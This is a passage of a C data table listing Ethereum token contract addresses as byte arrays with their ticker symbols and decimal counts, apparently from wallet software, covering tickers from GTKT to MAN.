{{0x02,0x5a,0xba,0xd9,0xe5,0x18,0x51,0x6f,0xda,0xaf,0xbd,0xcd,0xb9,0x70,0x1b,0x37,0xfb,0x7e,0xf0,0xfa}, "GTKT ", 0},
{{0xc5,0xbb,0xae,0x50,0x78,0x1b,0xe1,0x66,0x93,0x06,0xb9,0xe0,0x01,0xef,0xf5,0x7a,0x29,0x57,0xb0,0x9d}, "GTO ", 5},
{{0xbd,0xcf,0xbf,0x5c,0x4d,0x91,0xab,0xc0,0xbc,0x97,0x09,0xc7,0x28,0x6d,0x00,0x06,0x3c,0x0e,0x6f,0x22}, "GUESS ", 2},
{{0x98,0x47,0x34,0x5d,0xe8,0xb6,0x14,0xc9,0x56,0x14,0x6b,0xbe,0xa5,0x49,0x33,0x6d,0x9c,0x8d,0x26,0xb6}, "GULD ", 8},
{{0xf7,0xB0,0x98,0x29,0x8f,0x7C,0x69,0xFc,0x14,0x61,0x0b,0xf7,0x1d,0x5e,0x02,0xc6,0x07,0x92,0x89,0x4C}, "GUP ", 3},
{{0x10,0x3c,0x3A,0x20,0x9d,0xa5,0x9d,0x3E,0x7C,0x4A,0x89,0x30,0x7e,0x66,0x52,0x1e,0x08,0x1C,0xFD,0xF0}, "GVT ", 18},
{{0x58,0xca,0x30,0x65,0xc0,0xf2,0x4c,0x7c,0x96,0xae,0xe8,0xd6,0x05,0x6b,0x5b,0x5d,0xec,0xf9,0xc2,0xf8}, "GXC ", 10},
{{0x22,0xF0,0xAF,0x8D,0x78,0x85,0x1b,0x72,0xEE,0x79,0x9e,0x05,0xF5,0x4A,0x77,0x00,0x15,0x86,0xB1,0x8A}, "GXVC ", 10},
{{0x8C,0x65,0xe9,0x92,0x29,0x7d,0x5f,0x09,0x2A,0x75,0x6d,0xEf,0x24,0xF4,0x78,0x1a,0x28,0x01,0x98,0xFf}, "GZE ", 18},
{{0xE6,0x38,0xdc,0x39,0xb6,0xaD,0xBE,0xE8,0x52,0x6b,0x5C,0x22,0x38,0x0b,0x4b,0x45,0xdA,0xf4,0x6d,0x8e}, "GZR ", 6},
{{0x48,0xc1,0xb2,0xf3,0xef,0xa8,0x5f,0xba,0xfb,0x2a,0xb9,0x51,0xbf,0x4b,0xa8,0x60,0xa0,0x8c,0xdb,0xb7}, "HAND ", 0},
{{0x5a,0x56,0x7e,0x28,0xdb,0xfa,0x2b,0xbd,0x3e,0xf1,0x3c,0x0a,0x01,0xbe,0x11,0x47,0x45,0x34,0x96,0x57}, "HAPPY ", 2},
{{0x90,0x02,0xD4,0x48,0x5b,0x75,0x94,0xe3,0xE8,0x50,0xF0,0xa2,0x06,0x71,0x3B,0x30,0x51,0x13,0xf6,0x9e}, "HAT ", 12},
{{0xC0,0x11,0xA7,0x24,0x00,0xE5,0x8e,0xcD,0x99,0xEe,0x49,0x7C,0xF8,0x9E,0x37,0x75,0xd4,0xbd,0x73,0x2F}, "SNX ", 18},
{{0xe2,0x49,0x2f,0x8d,0x2a,0x26,0x18,0xd8,0x70,0x9c,0xa9,0x9b,0x1d,0x8d,0x75,0x71,0x3b,0xd8,0x40,0x89}, "HB ", 18},
{{0xdd,0x6c,0x68,0xbb,0x32,0x46,0x2e,0x01,0x70,0x50,0x11,0xa4,0xe2,0xad,0x1a,0x60,0x74,0x0f,0x21,0x7f}, "HBT ", 15},
{{0xe3,0x4e,0x19,0x44,0xe7,0x76,0xf3,0x9b,0x92,0x52,0x79,0x0a,0x05,0x27,0xeb,0xda,0x64,0x7a,0xe6,0x68}, "HBZ ", 18},
{{0xff,0xe8,0x19,0x6b,0xc2,0x59,0xe8,0xde,0xdc,0x54,0x4d,0x93,0x57,0x86,0xaa,0x47,0x09,0xec,0x3e,0x64}, "HDG ", 18},
{{0x95,0xC4,0xbe,0x85,0x34,0xd6,0x9C,0x24,0x8C,0x06,0x23,0xc4,0xC9,0xa7,0xA2,0xa0,0x01,0xc1,0x73,0x37}, "HDL ", 18},
{{0x49,0x1c,0x9a,0x23,0xdb,0x85,0x62,0x3e,0xed,0x45,0x5a,0x8e,0xfd,0xd6,0xab,0xa9,0xb9,0x11,0xc5,0xdf}, "HER ", 18},
{{0xba,0x21,0x84,0x52,0x0A,0x1c,0xC4,0x9a,0x61,0x59,0xc5,0x7e,0x61,0xE1,0x84,0x4E,0x08,0x56,0x15,0xB6}, "HGT ", 8},
{{0x9b,0xb1,0xdb,0x14,0x45,0xb8,0x32,0x13,0xa5,0x6d,0x90,0xd3,0x31,0x89,0x4b,0x3f,0x26,0x21,0x8e,0x4e}, "HIBT ", 18},
{{0xa9,0x24,0x0f,0xBC,0xAC,0x1F,0x0b,0x9A,0x6a,0xDf,0xB0,0x4a,0x53,0xc8,0xE3,0xB0,0xcC,0x1D,0x14,0x44}, "HIG ", 18},
{{0x14,0xF3,0x7B,0x57,0x42,0x42,0xD3,0x66,0x55,0x8d,0xB6,0x1f,0x33,0x35,0x28,0x9a,0x50,0x35,0xc5,0x06}, "HKG ", 3},
{{0x9e,0x6b,0x2b,0x11,0x54,0x2f,0x2b,0xc5,0x2f,0x30,0x29,0x07,0x7a,0xce,0x37,0xe8,0xfd,0x83,0x8d,0x7f}, "HKN ", 8},
{{0x88,0xac,0x94,0xd5,0xd1,0x75,0x13,0x03,0x47,0xfc,0x95,0xe1,0x09,0xd7,0x7a,0xc0,0x9d,0xbf,0x5a,0xb7}, "HKY ", 18},
{{0x66,0xeb,0x65,0xD7,0xAb,0x8e,0x95,0x67,0xba,0x0f,0xa6,0xE3,0x7c,0x30,0x59,0x56,0xc5,0x34,0x15,0x74}, "HLX ", 5},
{{0xAa,0x0b,0xb1,0x0C,0xEc,0x1f,0xa3,0x72,0xeb,0x3A,0xbc,0x17,0xC9,0x33,0xFC,0x6b,0xa8,0x63,0xDD,0x9E}, "HMC ", 18},
{{0xcb,0xCC,0x0F,0x03,0x6E,0xD4,0x78,0x8F,0x63,0xFC,0x0f,0xEE,0x32,0x87,0x3d,0x6A,0x74,0x87,0xb9,0x08}, "HMQ ", 8},
{{0xb4,0x5d,0x7B,0xc4,0xcE,0xBc,0xAB,0x98,0xaD,0x09,0xBA,0xBD,0xF8,0xC8,0x18,0xB2,0x29,0x2B,0x67,0x2c}, "HODL ", 18},
{{0x5B,0x07,0x51,0x71,0x3b,0x25,0x27,0xd7,0xf0,0x02,0xc0,0xc4,0xe2,0xa3,0x7e,0x12,0x19,0x61,0x0A,0x6B}, "HORSE ", 18},
{{0x6c,0x6e,0xe5,0xe3,0x1d,0x82,0x8d,0xe2,0x41,0x28,0x2b,0x96,0x06,0xc8,0xe9,0x8e,0xa4,0x85,0x26,0xe2}, "HoloTkn ", 18},
{{0x9a,0xf8,0x39,0x68,0x7f,0x6c,0x94,0x54,0x2a,0xc5,0xec,0xe2,0xe3,0x17,0xda,0xae,0x35,0x54,0x93,0xa1}, "Hydro ", 18},
{{0x38,0xc6,0xa6,0x83,0x04,0xcd,0xef,0xb9,0xbe,0xc4,0x8b,0xbf,0xaa,0xba,0x5c,0x5b,0x47,0x81,0x8b,0xb2}, "HPB ", 18},
{{0x55,0x4C,0x20,0xB7,0xc4,0x86,0xbe,0xeE,0x43,0x92,0x77,0xb4,0x54,0x0A,0x43,0x45,0x66,0xdC,0x4C,0x02}, "HST ", 18},
{{0x6f,0x25,0x96,0x37,0xdc,0xd7,0x4c,0x76,0x77,0x81,0xe3,0x7b,0xc6,0x13,0x3c,0xd6,0xa6,0x8a,0xa1,0x61}, "HT ", 18},
{{0xC0,0xEb,0x85,0x28,0x5d,0x83,0x21,0x7C,0xD7,0xc8,0x91,0x70,0x2b,0xcb,0xC0,0xFC,0x40,0x1E,0x2D,0x9D}, "HVN ", 8},
{{0xeb,0xbd,0xf3,0x02,0xc9,0x40,0xc6,0xbf,0xd4,0x9c,0x6b,0x16,0x5f,0x45,0x7f,0xdb,0x32,0x46,0x49,0xbc}, "HYDRO ", 18},
{{0xe9,0xff,0x07,0x80,0x9c,0xcf,0xf0,0x5d,0xae,0x74,0x99,0x0e,0x25,0x83,0x1d,0x0b,0xc5,0xcb,0xe5,0x75}, "Hdp ", 18},
{{0x84,0x54,0x3f,0x86,0x8e,0xc1,0xb1,0xfa,0xc5,0x10,0xd4,0x9d,0x13,0xc0,0x69,0xf6,0x4c,0xd2,0xd5,0xf9}, "Hdp2 ", 18},
{{0x5a,0x84,0x96,0x9b,0xb6,0x63,0xfb,0x64,0xF6,0xd0,0x15,0xDc,0xF9,0xF6,0x22,0xAe,0xdc,0x79,0x67,0x50}, "ICE ", 18},
{{0x88,0x86,0x66,0xCA,0x69,0xE0,0xf1,0x78,0xDE,0xD6,0xD7,0x5b,0x57,0x26,0xCe,0xe9,0x9A,0x87,0xD6,0x98}, "ICN ", 18},
{{0xa3,0x3e,0x72,0x9b,0xf4,0xfd,0xeb,0x86,0x8b,0x53,0x4e,0x1f,0x20,0x52,0x34,0x63,0xd9,0xc4,0x6b,0xee}, "ICO ", 10},
{{0x01,0x4B,0x50,0x46,0x65,0x90,0x34,0x0D,0x41,0x30,0x7C,0xc5,0x4D,0xCe,0xe9,0x90,0xc8,0xD5,0x8a,0xa8}, "ICOS ", 6},
{{0xb5,0xa5,0xf2,0x26,0x94,0x35,0x2c,0x15,0xb0,0x03,0x23,0x84,0x4a,0xd5,0x45,0xab,0xb2,0xb1,0x10,0x28}, "ICX ", 18},
{{0x81,0x4c,0xaf,0xd4,0x78,0x2d,0x2e,0x72,0x81,0x70,0xfd,0xa6,0x82,0x57,0x98,0x3f,0x03,0x32,0x1c,0x58}, "IDEA ", 0},
{{0x51,0x36,0xc9,0x8a,0x80,0x81,0x1c,0x3f,0x46,0xbd,0xda,0x8b,0x5c,0x45,0x55,0xcf,0xd9,0xf8,0x12,0xf0}, "IDH ", 6},
{{0xcc,0x13,0xfc,0x62,0x7e,0xff,0xd6,0xe3,0x5d,0x2d,0x27,0x06,0xea,0x3c,0x4d,0x73,0x96,0xc6,0x10,0xea}, "IDXM ", 8},
{{0x85,0x9a,0x9c,0x0b,0x44,0xcb,0x70,0x66,0xd9,0x56,0xa9,0x58,0xb0,0xb8,0x2e,0x54,0xc9,0xe4,0x4b,0x4b}, "iETH ", 8},
{{0x76,0x54,0x91,0x5a,0x1b,0x82,0xd6,0xd2,0xd0,0xaf,0xc3,0x7c,0x52,0xaf,0x55,0x6e,0xa8,0x98,0x3c,0x7e}, "IFT ", 18},
{{0x8a,0x88,0xf0,0x4e,0x0c,0x90,0x50,0x54,0xd2,0xf3,0x3b,0x26,0xbb,0x3a,0x46,0xd7,0x09,0x1a,0x03,0x9a}, "IG ", 18},
{{0xed,0xa8,0xb0,0x16,0xef,0xa8,0xb1,0x16,0x12,0x08,0xcf,0x04,0x1c,0xd8,0x69,0x72,0xee,0xe0,0xf3,0x1e}, "IHT ", 18},
{{0x16,0x66,0x2f,0x73,0xdf,0x3e,0x79,0xe5,0x4c,0x6c,0x59,0x38,0xb4,0x31,0x3f,0x92,0xc5,0x24,0xc1,0x20}, "IIC ", 18},
{{0x88,0xAE,0x96,0x84,0x5e,0x15,0x75,0x58,0xef,0x59,0xe9,0xFf,0x90,0xE7,0x66,0xE2,0x2E,0x48,0x03,0x90}, "IKB ", 0},
{{0xe3,0x83,0x1c,0x5A,0x98,0x2B,0x27,0x9A,0x19,0x84,0x56,0xD5,0x77,0xcf,0xb9,0x04,0x24,0xcb,0x63,0x40}, "IMC ", 6},
{{0x22,0xE5,0xF6,0x2D,0x0F,0xA1,0x99,0x74,0x74,0x9f,0xaa,0x19,0x4e,0x3d,0x3e,0xF6,0xd8,0x9c,0x08,0xd7}, "IMT Immo ", 0},
{{0x13,0x11,0x9E,0x34,0xE1,0x40,0x09,0x7a,0x50,0x7B,0x07,0xa5,0x56,0x4b,0xDe,0x1b,0xC3,0x75,0xD9,0xe6}, "IMT Mony ", 18},
{{0xf8,0xe3,0x86,0xED,0xa8,0x57,0x48,0x4f,0x5a,0x12,0xe4,0xB5,0xDA,0xa9,0x98,0x4E,0x06,0xE7,0x37,0x05}, "IND ", 18},
{{0x24,0xdd,0xff,0x6d,0x8b,0x8a,0x42,0xd8,0x35,0xaf,0x3b,0x44,0x0d,0xe9,0x1f,0x33,0x86,0x55,0x4a,0xa4}, "ING ", 18},
{{0x48,0xe5,0x41,0x3b,0x73,0xad,0xd2,0x43,0x4e,0x47,0x50,0x4E,0x2a,0x22,0xd1,0x49,0x40,0xdB,0xFe,0x78}, "INRM ", 3},
{{0x5b,0x2e,0x4a,0x70,0x0d,0xfb,0xc5,0x60,0x06,0x1e,0x95,0x7e,0xde,0xc8,0xf6,0xee,0xeb,0x74,0xa3,0x20}, "INS ", 10},
{{0xc7,0x2f,0xe8,0xe3,0xdd,0x5b,0xef,0x0f,0x9f,0x31,0xf2,0x59,0x39,0x9f,0x30,0x12,0x72,0xef,0x2a,0x2d}, "INSTAR ", 18},
{{0x0b,0x76,0x54,0x4f,0x6c,0x41,0x3a,0x55,0x5f,0x30,0x9b,0xf7,0x62,0x60,0xd1,0xe0,0x23,0x77,0xc0,0x2a}, "INT ", 6},
{{0xec,0xe8,0x36,0x17,0xdb,0x20,0x8a,0xd2,0x55,0xad,0x4f,0x45,0xda,0xf8,0x1e,0x25,0x13,0x75,0x35,0xbb}, "INV ", 8},
{{0xa8,0x00,0x6c,0x4c,0xa5,0x6f,0x24,0xd6,0x83,0x67,0x27,0xd1,0x06,0x34,0x93,0x20,0xdb,0x7f,0xef,0x82}, "INXT ", 8},
{{0xFA,0x1a,0x85,0x6C,0xfa,0x34,0x09,0xCF,0xa1,0x45,0xFa,0x4e,0x20,0xEb,0x27,0x0d,0xF3,0xEB,0x21,0xab}, "IOST ", 18},
{{0x6f,0xb3,0xe0,0xa2,0x17,0x40,0x7e,0xff,0xf7,0xca,0x06,0x2d,0x46,0xc2,0x6e,0x5d,0x60,0xa1,0x4d,0x69}, "IOTX ", 18},
{{0x64,0xCd,0xF8,0x19,0xd3,0xE7,0x5A,0xc8,0xeC,0x21,0x7B,0x34,0x96,0xd7,0xcE,0x16,0x7B,0xe4,0x2e,0x80}, "IPL ", 18},
{{0x00,0x1f,0x0a,0xa5,0xda,0x15,0x58,0x5e,0x5b,0x23,0x05,0xdb,0xab,0x2b,0xac,0x42,0x5e,0xa7,0x10,0x07}, "IPSX ", 18},
{{0x0c,0xf7,0x13,0xb1,0x1c,0x9b,0x98,0x6e,0xc4,0x0d,0x65,0xbd,0x4f,0x7f,0xbd,0x50,0xf6,0xff,0x2d,0x64}, "IST34 ", 18},
{{0x5e,0x6b,0x6d,0x9a,0xba,0xd9,0x09,0x3f,0xdc,0x86,0x1e,0xa1,0x60,0x0e,0xba,0x1b,0x35,0x5c,0xd9,0x40}, "ITC ", 18},
{{0x0a,0xeF,0x06,0xDc,0xCC,0xC5,0x31,0xe5,0x81,0xf0,0x44,0x00,0x59,0xE6,0xFf,0xCC,0x20,0x60,0x39,0xEE}, "ITT ", 8},
{{0xA4,0xeA,0x68,0x7A,0x2A,0x7F,0x29,0xcF,0x2d,0xc6,0x6B,0x39,0xc6,0x8e,0x44,0x11,0xC0,0xD0,0x0C,0x49}, "IVY ", 18},
{{0xfc,0xa4,0x79,0x62,0xd4,0x5a,0xdf,0xdf,0xd1,0xab,0x2d,0x97,0x23,0x15,0xdb,0x4c,0xe7,0xcc,0xf0,0x94}, "IXT ", 8},
{{0xc3,0x4b,0x21,0xf6,0xf8,0xe5,0x1c,0xc9,0x65,0xc2,0x39,0x3b,0x3c,0xcf,0xa3,0xb8,0x2b,0xeb,0x24,0x03}, "IoT ", 6},
{{0x0d,0x26,0x2e,0x5d,0xc4,0xa0,0x6a,0x0f,0x1c,0x90,0xce,0x79,0xc7,0xa6,0x0c,0x09,0xdf,0xc8,0x84,0xe4}, "J8T ", 8},
{{0x88,0x4e,0x39,0x02,0xC4,0xd5,0xcF,0xA8,0x6d,0xe4,0xaC,0xE7,0xA9,0x6A,0xA9,0x1E,0xbC,0x25,0xC0,0xFf}, "JBX ", 0},
{{0xe2,0xd8,0x2d,0xc7,0xda,0x0e,0x6f,0x88,0x2e,0x96,0x84,0x64,0x51,0xf4,0xfa,0xbc,0xc8,0xf9,0x05,0x28}, "JC ", 18},
{{0x87,0x27,0xc1,0x12,0xc7,0x12,0xc4,0xa0,0x33,0x71,0xac,0x87,0xa7,0x4d,0xd6,0xab,0x10,0x4a,0xf7,0x68}, "JET ", 18},
{{0xa5,0xFd,0x1A,0x79,0x1C,0x4d,0xfc,0xaa,0xcC,0x96,0x3D,0x4F,0x73,0xc6,0xAe,0x58,0x24,0x14,0x9e,0xA7}, "JNT ", 18},
{{0xdb,0x45,0x5c,0x71,0xc1,0xbc,0x2d,0xe4,0xe8,0x0c,0xa4,0x51,0x18,0x40,0x41,0xef,0x32,0x05,0x40,0x01}, "JOT ", 18},
{{0xDD,0xe1,0x2a,0x12,0xA6,0xf6,0x71,0x56,0xe0,0xDA,0x67,0x2b,0xe0,0x5c,0x37,0x4e,0x1B,0x0a,0x3e,0x57}, "JOY ", 6},
{{0x77,0x34,0x50,0x33,0x5e,0xD4,0xec,0x3D,0xB4,0x5a,0xF7,0x4f,0x34,0xF2,0xc8,0x53,0x48,0x64,0x5D,0x39}, "JetCoins ", 18},
{{0x14,0x10,0x43,0x4b,0x03,0x46,0xf5,0xbe,0x67,0x8d,0x0f,0xb5,0x54,0xe5,0xc7,0xab,0x62,0x0f,0x8f,0x4a}, "KAN ", 18},
{{0x0D,0x6D,0xD9,0xf6,0x8d,0x24,0xEC,0x1d,0x5f,0xE2,0x17,0x4f,0x3E,0xC8,0xDA,0xB5,0x2B,0x52,0xBa,0xF5}, "KC ", 18},
{{0x72,0xD3,0x2a,0xc1,0xc5,0xE6,0x6B,0xfC,0x5b,0x08,0x80,0x62,0x71,0xf8,0xeE,0xF9,0x15,0x54,0x51,0x64}, "KEE ", 0},
{{0x4c,0xd9,0x88,0xaf,0xba,0xd3,0x72,0x89,0xba,0xaf,0x53,0xc1,0x3e,0x98,0xe2,0xbd,0x46,0xaa,0xea,0x8c}, "BihuKey ", 18},
{{0x4C,0xC1,0x93,0x56,0xf2,0xD3,0x73,0x38,0xb9,0x80,0x2a,0xa8,0xE8,0xfc,0x58,0xB0,0x37,0x32,0x96,0xE7}, "SelfKey ", 18},
{{0x27,0x69,0x5E,0x09,0x14,0x9A,0xdC,0x73,0x8A,0x97,0x8e,0x9A,0x67,0x8F,0x99,0xE4,0xc3,0x9e,0x9e,0xb9}, "KICK ", 8},
{{0x81,0x8F,0xc6,0xC2,0xEc,0x59,0x86,0xbc,0x6E,0x2C,0xBf,0x00,0x93,0x9d,0x90,0x55,0x6a,0xB1,0x2c,0xe5}, "KIN ", 18},
{{0x46,0x18,0x51,0x9d,0xe4,0xc3,0x04,0xf3,0x44,0x4f,0xfa,0x7f,0x81,0x2d,0xdd,0xc2,0x97,0x1c,0xc6,0x88}, "KIND ", 8},
{{0xdd,0x97,0x4D,0x5C,0x2e,0x29,0x28,0xde,0xA5,0xF7,0x1b,0x98,0x25,0xb8,0xb6,0x46,0x68,0x6B,0xD2,0x00}, "KNC ", 18},
{{0x8e,0x56,0x10,0xab,0x5e,0x39,0xd2,0x68,0x28,0x16,0x76,0x40,0xea,0x29,0x82,0x3f,0xe1,0xdd,0x58,0x43}, "KNDC ", 8},
{{0xff,0x5c,0x25,0xd2,0xf4,0x0b,0x47,0xc4,0xa3,0x7f,0x98,0x9d,0xe9,0x33,0xe2,0x65,0x62,0xef,0x0a,0xc0}, "KNT ", 16},
{{0xb5,0xc3,0x3f,0x96,0x5c,0x88,0x99,0xd2,0x55,0xc3,0x4c,0xdd,0x2a,0x3e,0xfa,0x8a,0xbc,0xbb,0x3d,0xea}, "KPR ", 18},
{{0x46,0x4e,0xbe,0x77,0xc2,0x93,0xe4,0x73,0xb4,0x8c,0xfe,0x96,0xdd,0xcf,0x88,0xfc,0xf7,0xbf,0xda,0xc0}, "KRL ", 18},
{{0xdf,0x13,0x38,0xFb,0xAf,0xe7,0xaF,0x17,0x89,0x15,0x16,0x27,0xB8,0x86,0x78,0x1b,0xa5,0x56,0xeF,0x9a}, "KUE ", 18},
{{0x24,0x1b,0xa6,0x72,0x57,0x4a,0x78,0xa3,0xa6,0x04,0xcd,0xd0,0xa9,0x44,0x29,0xa7,0x3a,0x84,0xa3,0x24}, "KWATT ", 18},
{{0x95,0x41,0xFD,0x8B,0x9b,0x5F,0xA9,0x73,0x81,0x78,0x37,0x83,0xCe,0xBF,0x2F,0x5f,0xA7,0x93,0xC2,0x62}, "KZN ", 8},
{{0xE5,0x03,0x65,0xf5,0xD6,0x79,0xCB,0x98,0xa1,0xdd,0x62,0xD6,0xF6,0xe5,0x8e,0x59,0x32,0x1B,0xcd,0xDf}, "LA ", 18},
{{0xfD,0x10,0x7B,0x47,0x3A,0xB9,0x0e,0x8F,0xbd,0x89,0x87,0x21,0x44,0xa3,0xDC,0x92,0xC4,0x0F,0xa8,0xC9}, "LALA ", 18},
{{0x2f,0x85,0xe5,0x02,0xa9,0x88,0xaf,0x76,0xf7,0xee,0x6d,0x83,0xb7,0xdb,0x8d,0x6c,0x0a,0x82,0x3b,0xf9}, "LATX ", 8},
{{0xfe,0x5f,0x14,0x1b,0xf9,0x4f,0xe8,0x4b,0xc2,0x8d,0xed,0x0a,0xb9,0x66,0xc1,0x6b,0x17,0x49,0x06,0x57}, "LBA ", 18},
{{0xaa,0x19,0x96,0x1b,0x6b,0x85,0x8d,0x9f,0x18,0xa1,0x15,0xf2,0x5a,0xa1,0xd9,0x8a,0xbc,0x1f,0xdb,0xa8}, "LCS ", 18},
{{0x4a,0x37,0xa9,0x1e,0xec,0x4c,0x97,0xf9,0x09,0x0c,0xe6,0x6d,0x21,0xd3,0xb3,0xaa,0xdf,0x1a,0xe5,0xad}, "LCT ", 18},
{{0x05,0xc7,0x06,0x5d,0x64,0x40,0x96,0xa4,0xe4,0xc3,0xfe,0x24,0xaf,0x86,0xe3,0x6d,0xe0,0x21,0x07,0x4b}, "LCT ", 18},
{{0x51,0x02,0x79,0x1c,0xa0,0x2f,0xc3,0x59,0x53,0x98,0x40,0x0b,0xfe,0x0e,0x33,0xd7,0xb6,0xc8,0x22,0x67}, "LDC ", 18},
{{0x5b,0x26,0xC5,0xD0,0x77,0x2E,0x5b,0xba,0xC8,0xb3,0x18,0x2A,0xE9,0xa1,0x3f,0x9B,0xB2,0xD0,0x37,0x65}, "LEDU ", 8},
{{0x60,0xC2,0x44,0x07,0xd0,0x17,0x82,0xC2,0x17,0x5D,0x32,0xfe,0x7C,0x89,0x21,0xed,0x73,0x23,0x71,0xD1}, "LEMO ", 18},
{{0x80,0xfB,0x78,0x4B,0x7e,0xD6,0x67,0x30,0xe8,0xb1,0xDB,0xd9,0x82,0x0a,0xFD,0x29,0x93,0x1a,0xab,0x03}, "LEND ", 18},
{{0x0f,0x4c,0xa9,0x26,0x60,0xef,0xad,0x97,0xa9,0xa7,0x0c,0xb0,0xfe,0x96,0x9c,0x75,0x54,0x39,0x77,0x2c}, "LEV ", 9},
{{0xc7,0x98,0xcd,0x1c,0x49,0xdb,0x0e,0x29,0x73,0x12,0xe4,0xc6,0x82,0x75,0x26,0x68,0xce,0x1d,0xb2,0xad}, "LFR ", 5},
{{0xc5,0x20,0xF3,0xAc,0x30,0x3a,0x10,0x7D,0x8F,0x4B,0x08,0xb3,0x26,0xB6,0xea,0x66,0xA4,0xf9,0x61,0xcd}, "LG ", 18},
{{0x59,0x06,0x1b,0x6f,0x26,0xBB,0x4A,0x9c,0xE5,0x82,0x8A,0x19,0xd3,0x5C,0xFD,0x5A,0x4B,0x80,0xF0,0x56}, "LGD ", 8},
{{0x12,0x3a,0xb1,0x95,0xdd,0x38,0xb1,0xb4,0x05,0x10,0xd4,0x67,0xa6,0xa3,0x59,0xb2,0x01,0xaf,0x05,0x6f}, "LGO ", 8},
{{0x2e,0xb8,0x6e,0x8f,0xc5,0x20,0xe0,0xf6,0xbb,0x5d,0x9a,0xf0,0x8f,0x92,0x4f,0xe7,0x05,0x58,0xab,0x89}, "LGR ", 8},
{{0xe6,0xdf,0xbf,0x1f,0xac,0xa9,0x50,0x36,0xb8,0xe7,0x6e,0x1f,0xb2,0x89,0x33,0xd0,0x25,0xb7,0x6c,0xc0}, "LIBER ", 18},
{{0xEB,0x99,0x51,0x02,0x16,0x98,0xB4,0x2e,0x43,0x99,0xf9,0xcB,0xb6,0x26,0x7A,0xa3,0x5F,0x82,0xD5,0x9D}, "LIF ", 18},
{{0xff,0x18,0xdb,0xc4,0x87,0xb4,0xc2,0xe3,0x22,0x2d,0x11,0x59,0x52,0xba,0xbf,0xda,0x8b,0xa5,0x2f,0x5f}, "LIFE ", 18},
{{0x02,0xf6,0x1f,0xd2,0x66,0xda,0x6e,0x8b,0x10,0x2d,0x41,0x21,0xf5,0xce,0x7b,0x99,0x26,0x40,0xcf,0x98}, "LIKE ", 18},
{{0x51,0x49,0x10,0x77,0x1a,0xf9,0xca,0x65,0x6a,0xf8,0x40,0xdf,0xf8,0x3e,0x82,0x64,0xec,0xf9,0x86,0xca}, "ChainLnk ", 18},
{{0xe2,0xe6,0xd4,0xbe,0x08,0x6c,0x69,0x38,0xb5,0x3b,0x22,0x14,0x48,0x55,0xee,0xf6,0x74,0x28,0x16,0x39}, "LINK ptf ", 18},
{{0x24,0xA7,0x7c,0x1F,0x17,0xC5,0x47,0x10,0x5E,0x14,0x81,0x3e,0x51,0x7b,0xe0,0x6b,0x00,0x40,0xaa,0x76}, "LIVE ", 18},
{{0x49,0xbd,0x2d,0xa7,0x5b,0x1f,0x7a,0xf1,0xe4,0xdf,0xd6,0xb1,0x12,0x5f,0xec,0xde,0x59,0xdb,0xec,0x58}, "LKY ", 18},
{{0x25,0xB6,0x32,0x5f,0x5B,0xB1,0xc1,0xE0,0x3c,0xfb,0xC3,0xe5,0x3F,0x47,0x0E,0x1F,0x1c,0xa0,0x22,0xE3}, "LML ", 18},
{{0x63,0xe6,0x34,0x33,0x0A,0x20,0x15,0x0D,0xbB,0x61,0xB1,0x56,0x48,0xbC,0x73,0x85,0x5d,0x6C,0xCF,0x07}, "LNC ", 18},
{{0x6b,0xeb,0x41,0x8f,0xc6,0xe1,0x95,0x82,0x04,0xac,0x8b,0xad,0xdc,0xf1,0x09,0xb8,0xe9,0x69,0x49,0x66}, "LinkCoin ", 18},
{{0x09,0x47,0xb0,0xe6,0xD8,0x21,0x37,0x88,0x05,0xc9,0x59,0x82,0x91,0x38,0x5C,0xE7,0xc7,0x91,0xA6,0xB2}, "LND ", 18},
{{0x5e,0x33,0x46,0x44,0x40,0x10,0x13,0x53,0x22,0x26,0x8a,0x46,0x30,0xd2,0xed,0x5f,0x8d,0x09,0x44,0x6c}, "LOC ", 18},
{{0x9c,0x23,0xd6,0x7a,0xea,0x7b,0x95,0xd8,0x09,0x42,0xe3,0x83,0x6b,0xcd,0xf7,0xe7,0x08,0xa7,0x47,0xc2}, "LOCI ", 18},
{{0xC6,0x45,0x00,0xDD,0x7B,0x0f,0x17,0x94,0x80,0x7e,0x67,0x80,0x2F,0x8A,0xbb,0xf5,0xF8,0xFf,0xb0,0x54}, "LOCUS ", 18},
{{0x25,0x3c,0x7d,0xd0,0x74,0xf4,0xba,0xcb,0x30,0x53,0x87,0xf9,0x22,0x22,0x5a,0x4f,0x73,0x7c,0x08,0xbd}, "LOOK ", 18},
{{0x21,0xae,0x23,0xb8,0x82,0xa3,0x40,0xa2,0x22,0x82,0x16,0x20,0x86,0xbc,0x98,0xd3,0xe2,0xb7,0x30,0x18}, "LOOK old ", 18},
{{0xa4,0xe8,0xc3,0xec,0x45,0x61,0x07,0xea,0x67,0xd3,0x07,0x5b,0xf9,0xe3,0xdf,0x3a,0x75,0x82,0x3d,0xb0}, "LOOM ", 18},
{{0xEF,0x68,0xe7,0xC6,0x94,0xF4,0x0c,0x82,0x02,0x82,0x1e,0xDF,0x52,0x5d,0xE3,0x78,0x24,0x58,0x63,0x9f}, "LRC ", 18},
{{0x5d,0xbe,0x29,0x6f,0x97,0xb2,0x3c,0x4a,0x6a,0xa6,0x18,0x3d,0x73,0xe5,0x74,0xd0,0x2b,0xa5,0xc7,0x19}, "LUC ", 18},
{{0xFB,0x12,0xe3,0xCc,0xA9,0x83,0xB9,0xf5,0x9D,0x90,0x91,0x2F,0xd1,0x7F,0x8D,0x74,0x5A,0x8B,0x29,0x53}, "LUCK ", 0},
{{0xa8,0x9b,0x59,0x34,0x86,0x34,0x47,0xf6,0xe4,0xfc,0x53,0xb3,0x15,0xa9,0x3e,0x87,0x3b,0xda,0x69,0xa3}, "LUM ", 18},
{{0xfa,0x05,0xA7,0x3F,0xfE,0x78,0xef,0x8f,0x1a,0x73,0x94,0x73,0xe4,0x62,0xc5,0x4b,0xae,0x65,0x67,0xD9}, "LUN ", 18},
{{0x57,0xad,0x67,0xac,0xf9,0xbf,0x01,0x5e,0x48,0x20,0xfb,0xd6,0x6e,0xa1,0xa2,0x1b,0xed,0x88,0x52,0xec}, "LYM ", 18},
{{0x3f,0x4b,0x72,0x66,0x68,0xda,0x46,0xf5,0xe0,0xe7,0x5a,0xa5,0xd4,0x78,0xac,0xec,0x9f,0x38,0x21,0x0f}, "M-ETH ", 18},
{{0x5b,0x09,0xa0,0x37,0x1c,0x1d,0xa4,0x4a,0x8e,0x24,0xd3,0x6b,0xf5,0xde,0xb1,0x14,0x1a,0x84,0xd8,0x75}, "MAD ", 18},
{{0xe2,0x5b,0xCe,0xc5,0xD3,0x80,0x1c,0xE3,0xa7,0x94,0x07,0x9B,0xF9,0x4a,0xdF,0x1B,0x8c,0xCD,0x80,0x2D}, "MAN ", 18},
